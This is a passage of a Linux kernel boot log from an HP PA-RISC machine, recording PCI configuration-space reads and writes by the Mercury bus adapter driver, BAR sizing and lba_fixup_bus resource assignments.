[    1.736000] mercury_cfg_read(900+10) -> 0xfffff000
[    1.748000] mercury_cfg_write(900+10) <- 0x80001000 (c)
[    1.748000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.752000] mercury_cfg_read(900+ 4) -> 0x146
[    1.752000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.756000] mercury_cfg_read(900+14) -> 0x0
[    1.764000] mercury_cfg_write(900+14) <- 0xffffffff (c)
[    1.764000] mercury_cfg_read(900+14) -> 0x0
[    1.776000] mercury_cfg_write(900+14) <- 0x0 (c)
[    1.776000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.784000] mercury_cfg_read(900+ 4) -> 0x146
[    1.784000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.792000] mercury_cfg_read(900+18) -> 0x0
[    1.792000] mercury_cfg_write(900+18) <- 0xffffffff (c)
[    1.800000] mercury_cfg_read(900+18) -> 0x0
[    1.800000] mercury_cfg_write(900+18) <- 0x0 (c)
[    1.808000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.808000] mercury_cfg_read(900+ 4) -> 0x146
[    1.816000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.816000] mercury_cfg_read(900+1c) -> 0x0
[    1.820000] mercury_cfg_write(900+1c) <- 0xffffffff (c)
[    1.828000] mercury_cfg_read(900+1c) -> 0x0
[    1.828000] mercury_cfg_write(900+1c) <- 0x0 (c)
[    1.836000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.836000] mercury_cfg_read(900+ 4) -> 0x146
[    1.844000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.844000] mercury_cfg_read(900+20) -> 0x0
[    1.852000] mercury_cfg_write(900+20) <- 0xffffffff (c)
[    1.852000] mercury_cfg_read(900+20) -> 0x0
[    1.860000] mercury_cfg_write(900+20) <- 0x0 (c)
[    1.860000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.864000] mercury_cfg_read(900+ 4) -> 0x146
[    1.864000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.876000] mercury_cfg_read(900+24) -> 0x0
[    1.876000] mercury_cfg_write(900+24) <- 0xffffffff (c)
[    1.888000] mercury_cfg_read(900+24) -> 0x0
[    1.888000] mercury_cfg_write(900+24) <- 0x0 (c)
[    1.888000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.896000] mercury_cfg_read(900+ 4) -> 0x146
[    1.896000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    1.908000] mercury_cfg_read(900+30) -> 0x0
[    1.908000] mercury_cfg_write(900+30) <- 0xfffff800 (c)
[    1.916000] mercury_cfg_read(900+30) -> 0x0
[    1.916000] mercury_cfg_write(900+30) <- 0x0 (c)
[    1.924000] mercury_cfg_write(900+ 4) <- 0x146 (c)
[    1.924000] mercury_cfg_read(900+2c) -> 0x1033
[    1.936000] mercury_cfg_read(900+2e) -> 0x35
[    1.936000] mercury_cfg_read(900+ 6) -> 0x210
[    1.936000] mercury_cfg_read(900+34) -> 0x40
[    1.944000] mercury_cfg_read(900+40) -> 0x1
[    1.944000] mercury_cfg_read(900+41) -> 0x0
[    1.956000] mercury_cfg_read(900+ 6) -> 0x210
[    1.956000] mercury_cfg_read(900+34) -> 0x40
[    1.964000] mercury_cfg_read(900+40) -> 0x1
[    1.968000] mercury_cfg_read(900+41) -> 0x0
[    1.968000] mercury_cfg_read(900+ 6) -> 0x210
[    1.976000] mercury_cfg_read(900+34) -> 0x40
[    1.976000] mercury_cfg_read(900+40) -> 0x1
[    1.988000] mercury_cfg_read(900+42) -> 0x7e02
[    1.988000] mercury_cfg_read(900+44) -> 0x0
[    1.996000] mercury_cfg_write(900+44) <- 0x8000 (c)
[    1.996000] mercury_cfg_read(900+ 6) -> 0x210
[    2.008000] mercury_cfg_read(900+34) -> 0x40
[    2.008000] mercury_cfg_read(900+40) -> 0x1
[    2.008000] mercury_cfg_read(900+41) -> 0x0
[    2.016000] mercury_cfg_read(a00+ 0) -> 0xe01033
[    2.016000] mercury_cfg_read(a00+ e) -> 0x0
[    2.024000] mercury_cfg_read(a00+ 6) -> 0x210
[    2.024000] mercury_cfg_read(a00+34) -> 0x40
[    2.036000] mercury_cfg_read(a00+40) -> 0x1
[    2.036000] mercury_cfg_read(a00+41) -> 0x0
[    2.044000] mercury_cfg_read(a00+ 8) -> 0xc032002
[    2.044000] mercury_cfg_read(a00+ 6) -> 0x210
[    2.044000] mercury_cfg_read(a00+34) -> 0x40
[    2.052000] mercury_cfg_read(a00+40) -> 0x1
[    2.052000] mercury_cfg_read(a00+41) -> 0x0
[    2.060000] mercury_cfg_read(a00+3d) -> 0x3
[    2.060000] mercury_cfg_read(a00+3c) -> 0x0
[    2.072000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.072000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.072000] mercury_cfg_read(a00+10) -> 0x80000000
[    2.080000] mercury_cfg_write(a00+10) <- 0xffffffff (c)
[    2.092000] mercury_cfg_read(a00+10) -> 0xffffff00
[    2.092000] mercury_cfg_write(a00+10) <- 0x80000000 (c)
[    2.100000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.100000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.104000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.108000] mercury_cfg_read(a00+14) -> 0x0
[    2.108000] mercury_cfg_write(a00+14) <- 0xffffffff (c)
[    2.120000] mercury_cfg_read(a00+14) -> 0x0
[    2.120000] mercury_cfg_write(a00+14) <- 0x0 (c)
[    2.128000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.128000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.140000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.140000] mercury_cfg_read(a00+18) -> 0x0
[    2.152000] mercury_cfg_write(a00+18) <- 0xffffffff (c)
[    2.152000] mercury_cfg_read(a00+18) -> 0x0
[    2.160000] mercury_cfg_write(a00+18) <- 0x0 (c)
[    2.160000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.168000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.168000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.168000] mercury_cfg_read(a00+1c) -> 0x0
[    2.176000] mercury_cfg_write(a00+1c) <- 0xffffffff (c)
[    2.176000] mercury_cfg_read(a00+1c) -> 0x0
[    2.188000] mercury_cfg_write(a00+1c) <- 0x0 (c)
[    2.188000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.196000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.196000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.208000] mercury_cfg_read(a00+20) -> 0x0
[    2.208000] mercury_cfg_write(a00+20) <- 0xffffffff (c)
[    2.216000] mercury_cfg_read(a00+20) -> 0x0
[    2.220000] mercury_cfg_write(a00+20) <- 0x0 (c)
[    2.228000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.228000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.236000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.236000] mercury_cfg_read(a00+24) -> 0x0
[    2.236000] mercury_cfg_write(a00+24) <- 0xffffffff (c)
[    2.244000] mercury_cfg_read(a00+24) -> 0x0
[    2.244000] mercury_cfg_write(a00+24) <- 0x0 (c)
[    2.252000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.256000] mercury_cfg_read(a00+ 4) -> 0x146
[    2.260000] mercury_cfg_write(a00+ 4) <- 0x144 (c)
[    2.260000] mercury_cfg_read(a00+30) -> 0x0
[    2.268000] mercury_cfg_write(a00+30) <- 0xfffff800 (c)
[    2.268000] mercury_cfg_read(a00+30) -> 0x0
[    2.276000] mercury_cfg_write(a00+30) <- 0x0 (c)
[    2.276000] mercury_cfg_write(a00+ 4) <- 0x146 (c)
[    2.284000] mercury_cfg_read(a00+2c) -> 0x1033
[    2.284000] mercury_cfg_read(a00+2e) -> 0xe0
[    2.284000] mercury_cfg_read(a00+ 6) -> 0x210
[    2.288000] mercury_cfg_read(a00+34) -> 0x40
[    2.292000] mercury_cfg_read(a00+40) -> 0x1
[    2.296000] mercury_cfg_read(a00+41) -> 0x0
[    2.296000] mercury_cfg_read(a00+ 6) -> 0x210
[    2.304000] mercury_cfg_read(a00+34) -> 0x40
[    2.304000] mercury_cfg_read(a00+40) -> 0x1
[    2.312000] mercury_cfg_read(a00+41) -> 0x0
[    2.312000] mercury_cfg_read(a00+ 6) -> 0x210
[    2.312000] mercury_cfg_read(a00+34) -> 0x40
[    2.320000] mercury_cfg_read(a00+40) -> 0x1
[    2.320000] mercury_cfg_read(a00+42) -> 0x7e02
[    2.324000] mercury_cfg_read(a00+44) -> 0x0
[    2.324000] mercury_cfg_write(a00+44) <- 0x8000 (c)
[    2.332000] mercury_cfg_read(a00+ 6) -> 0x210
[    2.332000] mercury_cfg_read(a00+34) -> 0x40
[    2.332000] mercury_cfg_read(a00+40) -> 0x1
[    2.340000] mercury_cfg_read(a00+41) -> 0x0
[    2.340000] mercury_cfg_read(b00+ 0) -> 0xffffffff
[    2.348000] mercury_cfg_read(c00+ 0) -> 0xffffffff
[    2.348000] mercury_cfg_read(d00+ 0) -> 0xffffffff
[    2.356000] mercury_cfg_read(e00+ 0) -> 0xffffffff
[    2.356000] mercury_cfg_read(f00+ 0) -> 0xffffffff
[    2.360000] mercury_cfg_read(1000+ 0) -> 0x6491095
[    2.364000] mercury_cfg_read(1000+ e) -> 0x0
[    2.368000] mercury_cfg_read(1000+ 6) -> 0x290
[    2.368000] mercury_cfg_read(1000+34) -> 0x60
[    2.376000] mercury_cfg_read(1000+60) -> 0x1
[    2.376000] mercury_cfg_read(1000+61) -> 0x0
[    2.376000] mercury_cfg_read(1000+ 8) -> 0x1018f02
[    2.384000] mercury_cfg_read(1000+ 6) -> 0x290
[    2.384000] mercury_cfg_read(1000+34) -> 0x60
[    2.392000] mercury_cfg_read(1000+60) -> 0x1
[    2.392000] mercury_cfg_read(1000+61) -> 0x0
[    2.396000] mercury_cfg_read(1000+3d) -> 0x1
[    2.396000] mercury_cfg_read(1000+3c) -> 0xe
[    2.404000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.404000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.412000] mercury_cfg_read(1000+10) -> 0xd19
[    2.412000] mercury_cfg_write(1000+10) <- 0xffffffff (c)
[    2.420000] mercury_cfg_read(1000+10) -> 0xfffffff9
[    2.420000] mercury_cfg_write(1000+10) <- 0xd19 (c)
[    2.420000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.428000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.428000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.432000] mercury_cfg_read(1000+14) -> 0xd25
[    2.432000] mercury_cfg_write(1000+14) <- 0xffffffff (c)
[    2.440000] mercury_cfg_read(1000+14) -> 0xfffffffd
[    2.440000] mercury_cfg_write(1000+14) <- 0xd25 (c)
[    2.448000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.448000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.456000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.456000] mercury_cfg_read(1000+18) -> 0xd11
[    2.464000] mercury_cfg_write(1000+18) <- 0xffffffff (c)
[    2.464000] mercury_cfg_read(1000+18) -> 0xfffffff9
[    2.468000] mercury_cfg_write(1000+18) <- 0xd11 (c)
[    2.468000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.476000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.476000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.484000] mercury_cfg_read(1000+1c) -> 0xd21
[    2.484000] mercury_cfg_write(1000+1c) <- 0xffffffff (c)
[    2.492000] mercury_cfg_read(1000+1c) -> 0xfffffffd
[    2.492000] mercury_cfg_write(1000+1c) <- 0xd21 (c)
[    2.500000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.500000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.504000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.504000] mercury_cfg_read(1000+20) -> 0xd01
[    2.512000] mercury_cfg_write(1000+20) <- 0xffffffff (c)
[    2.512000] mercury_cfg_read(1000+20) -> 0xfffffff1
[    2.520000] mercury_cfg_write(1000+20) <- 0xd01 (c)
[    2.520000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.528000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.528000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.536000] mercury_cfg_read(1000+24) -> 0x0
[    2.536000] mercury_cfg_write(1000+24) <- 0xffffffff (c)
[    2.540000] mercury_cfg_read(1000+24) -> 0x0
[    2.540000] mercury_cfg_write(1000+24) <- 0x0 (c)
[    2.548000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.548000] mercury_cfg_read(1000+ 4) -> 0x145
[    2.548000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    2.556000] mercury_cfg_read(1000+30) -> 0x0
[    2.556000] mercury_cfg_write(1000+30) <- 0xfffff800 (c)
[    2.564000] mercury_cfg_read(1000+30) -> 0x0
[    2.564000] mercury_cfg_write(1000+30) <- 0x0 (c)
[    2.572000] mercury_cfg_write(1000+ 4) <- 0x145 (c)
[    2.572000] mercury_cfg_read(1000+2c) -> 0x1095
[    2.576000] mercury_cfg_read(1000+2e) -> 0x649
[    2.576000] mercury_cfg_read(1000+ 9) -> 0x8f
[    2.584000] mercury_cfg_read(1000+ 6) -> 0x290
[    2.584000] mercury_cfg_read(1000+34) -> 0x60
[    2.592000] mercury_cfg_read(1000+60) -> 0x1
[    2.592000] mercury_cfg_read(1000+61) -> 0x0
[    2.592000] mercury_cfg_read(1000+ 6) -> 0x290
[    2.600000] mercury_cfg_read(1000+34) -> 0x60
[    2.600000] mercury_cfg_read(1000+60) -> 0x1
[    2.608000] mercury_cfg_read(1000+61) -> 0x0
[    2.608000] mercury_cfg_read(1000+ 6) -> 0x290
[    2.612000] mercury_cfg_read(1000+34) -> 0x60
[    2.612000] mercury_cfg_read(1000+60) -> 0x1
[    2.620000] mercury_cfg_read(1000+62) -> 0x622
[    2.620000] mercury_cfg_read(1000+ 6) -> 0x290
[    2.620000] mercury_cfg_read(1000+34) -> 0x60
[    2.628000] mercury_cfg_read(1000+60) -> 0x1
[    2.628000] mercury_cfg_read(1000+61) -> 0x0
[    2.636000] mercury_cfg_read(1800+ 0) -> 0xffffffff
[    2.636000] mercury_cfg_read(2000+ 0) -> 0xffffffff
[    2.644000] mercury_cfg_read(2800+ 0) -> 0xffffffff
[    2.644000] mercury_cfg_read(3000+ 0) -> 0xffffffff
[    2.648000] mercury_cfg_read(3800+ 0) -> 0xffffffff
[    2.648000] mercury_cfg_read(4000+ 0) -> 0xffffffff
[    2.656000] mercury_cfg_read(4800+ 0) -> 0xffffffff
[    2.656000] mercury_cfg_read(5000+ 0) -> 0xffffffff
[    2.664000] mercury_cfg_read(5800+ 0) -> 0xffffffff
[    2.664000] mercury_cfg_read(6000+ 0) -> 0xffffffff
[    2.672000] mercury_cfg_read(6800+ 0) -> 0xffffffff
[    2.672000] mercury_cfg_read(7000+ 0) -> 0xffffffff
[    2.676000] mercury_cfg_read(7800+ 0) -> 0xffffffff
[    2.680000] mercury_cfg_read(8000+ 0) -> 0xffffffff
[    2.684000] mercury_cfg_read(8800+ 0) -> 0xffffffff
[    2.684000] mercury_cfg_read(9000+ 0) -> 0xffffffff
[    2.692000] mercury_cfg_read(9800+ 0) -> 0xffffffff
[    2.692000] mercury_cfg_read(a000+ 0) -> 0xffffffff
[    2.700000] mercury_cfg_read(a800+ 0) -> 0xffffffff
[    2.700000] mercury_cfg_read(b000+ 0) -> 0xffffffff
[    2.708000] mercury_cfg_read(b800+ 0) -> 0xffffffff
[    2.708000] mercury_cfg_read(c000+ 0) -> 0xffffffff
[    2.712000] mercury_cfg_read(c800+ 0) -> 0xffffffff
[    2.712000] mercury_cfg_read(d000+ 0) -> 0xffffffff
[    2.720000] mercury_cfg_read(d800+ 0) -> 0xffffffff
[    2.720000] mercury_cfg_read(e000+ 0) -> 0xffffffff
[    2.728000] mercury_cfg_read(e800+ 0) -> 0xffffffff
[    2.728000] mercury_cfg_read(f000+ 0) -> 0xffffffff
[    2.736000] mercury_cfg_read(f800+ 0) -> 0xffffffff
[    2.736000] lba_fixup_bus(0x000000007f0cac00) bus 0 platform_data 0x000000007f007c00
[    2.744000] lba_fixup_bus() PCI00 Ports [0/ffff]/100
[    2.744000] lba_fixup_bus() PCI00 LMMIO [ffffffff80000000/ffffffff8fffffff]/200
[    2.752000] lba_fixup_bus() 0000:00:01.0
[    2.756000] lba_fixup_bus() MMIO [80002000/80002fff] -> [ffffffff80002000/ffffffff80002fff]
[    2.756000] mercury_cfg_read(800+3d) -> 0x1
[    2.764000] lba_fixup_bus() 0000:00:01.1
[    2.764000] lba_fixup_bus() MMIO [80001000/80001fff] -> [ffffffff80001000/ffffffff80001fff]
[    2.772000] mercury_cfg_read(900+3d) -> 0x2
[    2.780000] lba_fixup_bus() 0000:00:01.2
[    2.780000] lba_fixup_bus() MMIO [80000000/800000ff] -> [ffffffff80000000/ffffffff800000ff]
[    2.784000] mercury_cfg_read(a00+3d) -> 0x3
[    2.784000] lba_fixup_bus() 0000:00:02.0
[    2.792000] lba_fixup_bus() I/O Ports [d18/d1f] -> [d18/d1f]
[    2.792000] lba_fixup_bus() I/O Ports [d24/d27] -> [d24/d27]
[    2.800000] lba_fixup_bus() I/O Ports [d10/d17] -> [d10/d17]
[    2.800000] lba_fixup_bus() I/O Ports [d20/d23] -> [d20/d23]
[    2.808000] lba_fixup_bus() I/O Ports [d00/d0f] -> [d00/d0f]
[    2.808000] mercury_cfg_read(1000+3d) -> 0x1
[    2.816000] LBA pci_bus_size_bridges()
[    2.816000] LBA pci_bus_assign_resources()
[    2.820000] 
[    2.820000] LBA PIOP resource tree
[    2.824000] 
[    2.824000] LBA LMMIO resource tree
[    2.852000] Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
[    2.908000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    2.908000] mercury_cfg_read(800+ 0) -> 0x211000
[    2.908000] mercury_cfg_read(800+ e) -> 0x80
[    2.908000] mercury_cfg_read(800+ 6) -> 0x230
[    2.908000] mercury_cfg_read(800+34) -> 0x40
[    2.916000] mercury_cfg_read(800+40) -> 0x1
[    2.916000] mercury_cfg_read(800+41) -> 0x0
[    2.924000] mercury_cfg_read(800+ 8) -> 0x1000001
[    2.924000] mercury_cfg_read(800+ 6) -> 0x230
[    2.928000] mercury_cfg_read(800+34) -> 0x40
[    2.928000] mercury_cfg_read(800+40) -> 0x1
[    2.928000] mercury_cfg_read(800+41) -> 0x0
[    2.936000] mercury_cfg_read(800+3d) -> 0x1
[    2.936000] mercury_cfg_read(800+3c) -> 0x0
[    2.944000] mercury_cfg_read(800+ 4) -> 0x147
[    2.944000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    2.952000] mercury_cfg_read(800+10) -> 0x2101
[    2.952000] mercury_cfg_write(800+10) <- 0xffffffff (c)
[    2.960000] mercury_cfg_read(800+10) -> 0xffffff01
[    2.960000] mercury_cfg_write(800+10) <- 0x2101 (c)
[    2.964000] mercury_cfg_write(800+ 4) <- 0x147 (c)
[    2.968000] mercury_cfg_read(800+ 4) -> 0x147
[    2.968000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    2.972000] mercury_cfg_read(800+14) -> 0x90015004
[    2.972000] mercury_cfg_write(800+14) <- 0xffffffff (c)
[    2.980000] mercury_cfg_read(800+14) -> 0xfffffc04
[    2.980000] mercury_cfg_write(800+14) <- 0x90015004 (c)
[    2.988000] mercury_cfg_write(800+ 4) <- 0x147 (c)
[    2.988000] mercury_cfg_read(800+18) -> 0x0
[    2.996000] mercury_cfg_write(800+18) <- 0xffffffff (c)
[    2.996000] mercury_cfg_read(800+18) -> 0xffffffff
[    3.000000] mercury_cfg_write(800+18) <- 0x0 (c)
[    3.000000] mercury_cfg_read(800+ 4) -> 0x147
[    3.008000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    3.008000] mercury_cfg_read(800+1c) -> 0x90012004
[    3.020000] mercury_cfg_write(800+1c) <- 0xffffffff (c)
[    3.020000] mercury_cfg_read(800+1c) -> 0xffffe004
[    3.028000] mercury_cfg_write(800+1c) <- 0x90012004 (c)
[    3.032000] mercury_cfg_write(800+ 4) <- 0x147 (c)
[    3.040000] mercury_cfg_read(800+20) -> 0x0
[    3.040000] mercury_cfg_write(800+20) <- 0xffffffff (c)
[    3.048000] mercury_cfg_read(800+20) -> 0xffffffff
[    3.048000] mercury_cfg_write(800+20) <- 0x0 (c)
[    3.056000] mercury_cfg_read(800+ 4) -> 0x147
[    3.056000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    3.060000] mercury_cfg_read(800+24) -> 0x0
[    3.060000] mercury_cfg_write(800+24) <- 0xffffffff (c)
[    3.068000] mercury_cfg_read(800+24) -> 0x0
[    3.068000] mercury_cfg_write(800+24) <- 0x0 (c)
[    3.076000] mercury_cfg_write(800+ 4) <- 0x147 (c)
[    3.076000] mercury_cfg_read(800+ 4) -> 0x147
[    3.076000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    3.084000] mercury_cfg_read(800+30) -> 0x0
[    3.084000] mercury_cfg_write(800+30) <- 0xfffff800 (c)
[    3.092000] mercury_cfg_read(800+30) -> 0x0
[    3.092000] mercury_cfg_write(800+30) <- 0x0 (c)
[    3.096000] mercury_cfg_write(800+ 4) <- 0x147 (c)
[    3.096000] mercury_cfg_read(800+2c) -> 0x0
[    3.104000] mercury_cfg_read(800+2e) -> 0x0
[    3.104000] mercury_cfg_read(800+ 6) -> 0x230
[    3.112000] mercury_cfg_read(800+34) -> 0x40
[    3.112000] mercury_cfg_read(800+40) -> 0x1
[    3.112000] mercury_cfg_read(800+41) -> 0x0
[    3.120000] mercury_cfg_read(800+ 6) -> 0x230
[    3.120000] mercury_cfg_read(800+34) -> 0x40
[    3.124000] mercury_cfg_read(800+40) -> 0x1
[    3.128000] mercury_cfg_read(800+41) -> 0x0
[    3.132000] mercury_cfg_read(800+ 6) -> 0x230
[    3.132000] mercury_cfg_read(800+34) -> 0x40
[    3.132000] mercury_cfg_read(800+40) -> 0x1
[    3.140000] mercury_cfg_read(800+42) -> 0x602
[    3.140000] mercury_cfg_read(800+ 6) -> 0x230
[    3.148000] mercury_cfg_read(800+34) -> 0x40
[    3.148000] mercury_cfg_read(800+40) -> 0x1
[    3.156000] mercury_cfg_read(800+41) -> 0x0
[    3.156000] mercury_cfg_read(900+ 0) -> 0x211000
[    3.164000] mercury_cfg_read(900+ e) -> 0x80
[    3.164000] mercury_cfg_read(900+ 6) -> 0x230
[    3.164000] mercury_cfg_read(900+34) -> 0x40
[    3.168000] mercury_cfg_read(900+40) -> 0x1
[    3.168000] mercury_cfg_read(900+41) -> 0x0
[    3.176000] mercury_cfg_read(900+ 8) -> 0x1000001
[    3.176000] mercury_cfg_read(900+ 6) -> 0x230
[    3.184000] mercury_cfg_read(900+34) -> 0x40
[    3.184000] mercury_cfg_read(900+40) -> 0x1
[    3.184000] mercury_cfg_read(900+41) -> 0x0
[    3.192000] mercury_cfg_read(900+3d) -> 0x2
[    3.192000] mercury_cfg_read(900+3c) -> 0x0
[    3.196000] mercury_cfg_read(900+ 4) -> 0x147
[    3.200000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    3.204000] mercury_cfg_read(900+10) -> 0x2001
[    3.204000] mercury_cfg_write(900+10) <- 0xffffffff (c)
[    3.212000] mercury_cfg_read(900+10) -> 0xffffff01
[    3.212000] mercury_cfg_write(900+10) <- 0x2001 (c)
[    3.220000] mercury_cfg_write(900+ 4) <- 0x147 (c)
[    3.220000] mercury_cfg_read(900+ 4) -> 0x147
[    3.228000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    3.228000] mercury_cfg_read(900+14) -> 0x90014004
[    3.232000] mercury_cfg_write(900+14) <- 0xffffffff (c)
[    3.232000] mercury_cfg_read(900+14) -> 0xfffffc04
[    3.240000] mercury_cfg_write(900+14) <- 0x90014004 (c)
[    3.240000] mercury_cfg_write(900+ 4) <- 0x147 (c)
[    3.248000] mercury_cfg_read(900+18) -> 0x0
[    3.248000] mercury_cfg_write(900+18) <- 0xffffffff (c)
[    3.256000] mercury_cfg_read(900+18) -> 0xffffffff
[    3.256000] mercury_cfg_write(900+18) <- 0x0 (c)
[    3.256000] mercury_cfg_read(900+ 4) -> 0x147
[    3.264000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    3.264000] mercury_cfg_read(900+1c) -> 0x90010004
[    3.268000] mercury_cfg_write(900+1c) <- 0xffffffff (c)
[    3.272000] mercury_cfg_read(900+1c) -> 0xffffe004
[    3.276000] mercury_cfg_write(900+1c) <- 0x90010004 (c)
[    3.276000] mercury_cfg_write(900+ 4) <- 0x147 (c)
[    3.284000] mercury_cfg_read(900+20) -> 0x0
[    3.284000] mercury_cfg_write(900+20) <- 0xffffffff (c)
[    3.292000] mercury_cfg_read(900+20) -> 0xffffffff
[    3.292000] mercury_cfg_write(900+20) <- 0x0 (c)
[    3.300000] mercury_cfg_read(900+ 4) -> 0x147
[    3.300000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    3.308000] mercury_cfg_read(900+24) -> 0x0
[    3.308000] mercury_cfg_write(900+24) <- 0xffffffff (c)
[    3.312000] mercury_cfg_read(900+24) -> 0x0
[    3.312000] mercury_cfg_write(900+24) <- 0x0 (c)
[    3.320000] mercury_cfg_write(900+ 4) <- 0x147 (c)
[    3.320000] mercury_cfg_read(900+ 4) -> 0x147
[    3.328000] mercury_cfg_write(900+ 4) <- 0x144 (c)
[    3.328000] mercury_cfg_read(900+30) -> 0x0
[    3.328000] mercury_cfg_write(900+30) <- 0xfffff800 (c)
[    3.336000] mercury_cfg_read(900+30) -> 0x0
[    3.336000] mercury_cfg_write(900+30) <- 0x0 (c)
[    3.344000] mercury_cfg_write(900+ 4) <- 0x147 (c)
[    3.344000] mercury_cfg_read(900+2c) -> 0x0
[    3.348000] mercury_cfg_read(900+2e) -> 0x0
[    3.348000] mercury_cfg_read(900+ 6) -> 0x230
[    3.356000] mercury_cfg_read(900+34) -> 0x40
[    3.356000] mercury_cfg_read(900+40) -> 0x1
[    3.364000] mercury_cfg_read(900+41) -> 0x0
[    3.364000] mercury_cfg_read(900+ 6) -> 0x230
[    3.364000] mercury_cfg_read(900+34) -> 0x40
[    3.372000] mercury_cfg_read(900+40) -> 0x1
[    3.372000] mercury_cfg_read(900+41) -> 0x0
[    3.376000] mercury_cfg_read(900+ 6) -> 0x230
[    3.380000] mercury_cfg_read(900+34) -> 0x40
[    3.384000] mercury_cfg_read(900+40) -> 0x1
[    3.384000] mercury_cfg_read(900+42) -> 0x602
[    3.384000] mercury_cfg_read(900+ 6) -> 0x230
[    3.392000] mercury_cfg_read(900+34) -> 0x40
[    3.392000] mercury_cfg_read(900+40) -> 0x1
[    3.400000] mercury_cfg_read(900+41) -> 0x0
[    3.400000] mercury_cfg_read(a00+ 0) -> 0xffffffff
[    3.408000] mercury_cfg_read(b00+ 0) -> 0xffffffff
[    3.408000] mercury_cfg_read(c00+ 0) -> 0xffffffff
[    3.412000] mercury_cfg_read(d00+ 0) -> 0xffffffff
[    3.412000] mercury_cfg_read(e00+ 0) -> 0xffffffff
[    3.420000] mercury_cfg_read(f00+ 0) -> 0xffffffff
[    3.420000] mercury_cfg_read(1000+ 0) -> 0x164514e4
[    3.428000] mercury_cfg_read(1000+ e) -> 0x0
[    3.428000] mercury_cfg_read(1000+ 6) -> 0x2b0
[    3.428000] mercury_cfg_read(1000+34) -> 0x40
[    3.436000] mercury_cfg_read(1000+40) -> 0x7
[    3.436000] mercury_cfg_read(1000+41) -> 0x48
[    3.444000] mercury_cfg_read(1000+48) -> 0x1
[    3.444000] mercury_cfg_read(1000+49) -> 0x50
[    3.448000] mercury_cfg_read(1000+50) -> 0x3
[    3.452000] mercury_cfg_read(1000+51) -> 0x58
[    3.456000] mercury_cfg_read(1000+58) -> 0x5
[    3.456000] mercury_cfg_read(1000+59) -> 0x0
[    3.456000] mercury_cfg_read(1000+ 8) -> 0x2000015
[    3.464000] mercury_cfg_read(1000+ 6) -> 0x2b0
[    3.464000] mercury_cfg_read(1000+34) -> 0x40
[    3.472000] mercury_cfg_read(1000+40) -> 0x7
[    3.472000] mercury_cfg_read(1000+44) -> 0x3fff9
[    3.480000] mercury_cfg_read(1000+3d) -> 0x1
[    3.480000] mercury_cfg_read(1000+3c) -> 0x82
[    3.484000] mercury_cfg_read(1000+ 4) -> 0x146
[    3.488000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    3.488000] mercury_cfg_read(1000+10) -> 0x90000004
[    3.492000] mercury_cfg_write(1000+10) <- 0xffffffff (c)
[    3.500000] mercury_cfg_read(1000+10) -> 0xffff0004
[    3.500000] mercury_cfg_write(1000+10) <- 0x90000004 (c)
[    3.508000] mercury_cfg_write(1000+ 4) <- 0x146 (c)
[    3.508000] mercury_cfg_read(1000+14) -> 0x0
[    3.508000] mercury_cfg_write(1000+14) <- 0xffffffff (c)
[    3.516000] mercury_cfg_read(1000+14) -> 0xffffffff
[    3.524000] mercury_cfg_write(1000+14) <- 0x0 (c)
[    3.524000] mercury_cfg_read(1000+ 4) -> 0x146
[    3.524000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
